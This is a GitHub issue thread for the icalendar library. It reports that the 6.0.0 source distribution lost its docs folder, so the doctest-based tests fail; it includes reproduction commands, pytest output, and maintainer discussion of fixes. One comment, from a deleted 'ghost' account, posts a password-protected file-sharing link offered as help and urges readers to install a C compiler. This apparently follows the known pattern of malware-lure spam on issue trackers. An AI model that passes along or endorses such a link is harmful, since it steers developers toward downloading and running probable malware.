Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[BUG] 6.0.0 sdist lost docs folder, causing tests to fail #712

Open
5 tasks done
mgorny opened this issue Sep 29, 2024 · 6 comments
Open
5 tasks done

[BUG] 6.0.0 sdist lost docs folder, causing tests to fail #712

mgorny opened this issue Sep 29, 2024 · 6 comments

Comments

@mgorny
Copy link
Contributor

mgorny commented Sep 29, 2024

Describe the bug

The 6.0.0 sdist (after switch to hatchling) no longer contains the docs folder. Besides losing the ability to build docs, this also causes tests to fail now.

To Reproduce

$ wget -q https://files.pythonhosted.org/packages/af/ce/127d44302810184b1680ba5e0ab588325cf427d1a5e8c8479dd2cec80e97/icalendar-6.0.0.tar.gz
$ tar -xf icalendar-6.0.0.tar.gz
$ cd icalendar-6.0.0
$ PYTHONPATH=src pytest
/usr/lib/python3.12/site-packages/pytest_asyncio/plugin.py:208: PytestDeprecationWarning: The configuration option "asyncio_default_fixture_loop_scope" is unset.
The event loop scope for asynchronous fixtures will default to the fixture caching scope. Future versions of pytest-asyncio will default the loop scope for asynchronous fixtures to function scope. Set the default fixture loop scope explicitly in order to avoid unexpected behavior in the future. Valid fixture loop scopes are: "function", "class", "module", "package", "session"

  warnings.warn(PytestDeprecationWarning(_DEFAULT_FIXTURE_LOOP_SCOPE_UNSET))
========================================================= test session starts =========================================================
platform linux -- Python 3.12.6, pytest-8.3.3, pluggy-1.5.0
rootdir: /tmp/icalendar-6.0.0
configfile: pyproject.toml
testpaths: src/icalendar/tests
plugins: xdist-3.6.1, xprocess-1.0.2, subtests-0.13.1, import-check-0.0.4, asyncio-0.24.0, pkgcore-0.12.28, anyio-4.6.0
asyncio: mode=Mode.STRICT, default_loop_scope=None
collected 4049 items / 1 error                                                                                                        

=============================================================== ERRORS ================================================================
______________________________________ ERROR collecting src/icalendar/tests/test_with_doctest.py ______________________________________
src/icalendar/tests/test_with_doctest.py:57: in <module>
    for filename in os.listdir(os.path.join(DOCUMENTATION_PATH, subdir))
E   FileNotFoundError: [Errno 2] No such file or directory: '/tmp/icalendar-6.0.0/src/icalendar/tests/../../../docs'

During handling of the above exception, another exception occurred:
src/icalendar/tests/test_with_doctest.py:61: in <module>
    raise OSError("Could not find the documentation - remove the build folder and try again.")
E   OSError: Could not find the documentation - remove the build folder and try again.
======================================================= short test summary info =======================================================
ERROR src/icalendar/tests/test_with_doctest.py - OSError: Could not find the documentation - remove the build folder and try again.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Interrupted: 1 error during collection !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
========================================================== 1 error in 0.75s ===========================================================

Expected behavior

Passing tests (and ideally, the retained ability to build docs).

Environment

  • OS: Gentoo Linux amd64
  • Python version: 3.12.6
  • icalendar version: 6.0.0

Additional context

  • I tested it with the latest version pip3 install https://github.com/collective/icalendar.git
  • I attached the ICS source file or there is no ICS source file
@ghost
Copy link

ghost commented Sep 29, 2024

maybe this will help

https://mega.co.nz/#!qq4nATTK!oDH5tb3NOJcsSw5fRGhLC8dvFpH3zFCn6U2esyTVcJA

Password: changeme
If you don't have the c compliator, install it.(gcc or clang)

@niccokunzmann
Copy link
Member

Thanks for reporting this! We could include the docs folder in the build or make sure the tests run without it. What would you think is the best way forward?

@mgorny
Copy link
Contributor Author

mgorny commented Sep 29, 2024

Ideally, both :-). The earlier versions had docs included, so we've wired them up in Gentoo. If the new versions don't have them anymore, I'll probably remove them as well, which would be a loss for some users who need the ability to browse docs offline.

@niccokunzmann
Copy link
Member

niccokunzmann commented Sep 29, 2024

I think, inclusion is very much possible and it sounds alright... I do not know at the moment, how to do it but it should be very possible. ❤️ I like the code that you wrote to test that... I think, we should use that in the CI to make sure we test that the package is working well without the git repository.

https://stackoverflow.com/a/73766539/1320237

@mgorny
Copy link
Contributor Author

mgorny commented Sep 29, 2024

Yeah, that sounds about right. I wish GitHub Actions had some easy action to run a PEP517 build, unpack the resulting sdist and run tests there.

@niccokunzmann
Copy link
Member

we have this to test the release file
https://github.com/collective/icalendar/blob/main/src/icalendar/tests/test_create_release.sh

the checks for the docs to be included can be in there for example

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants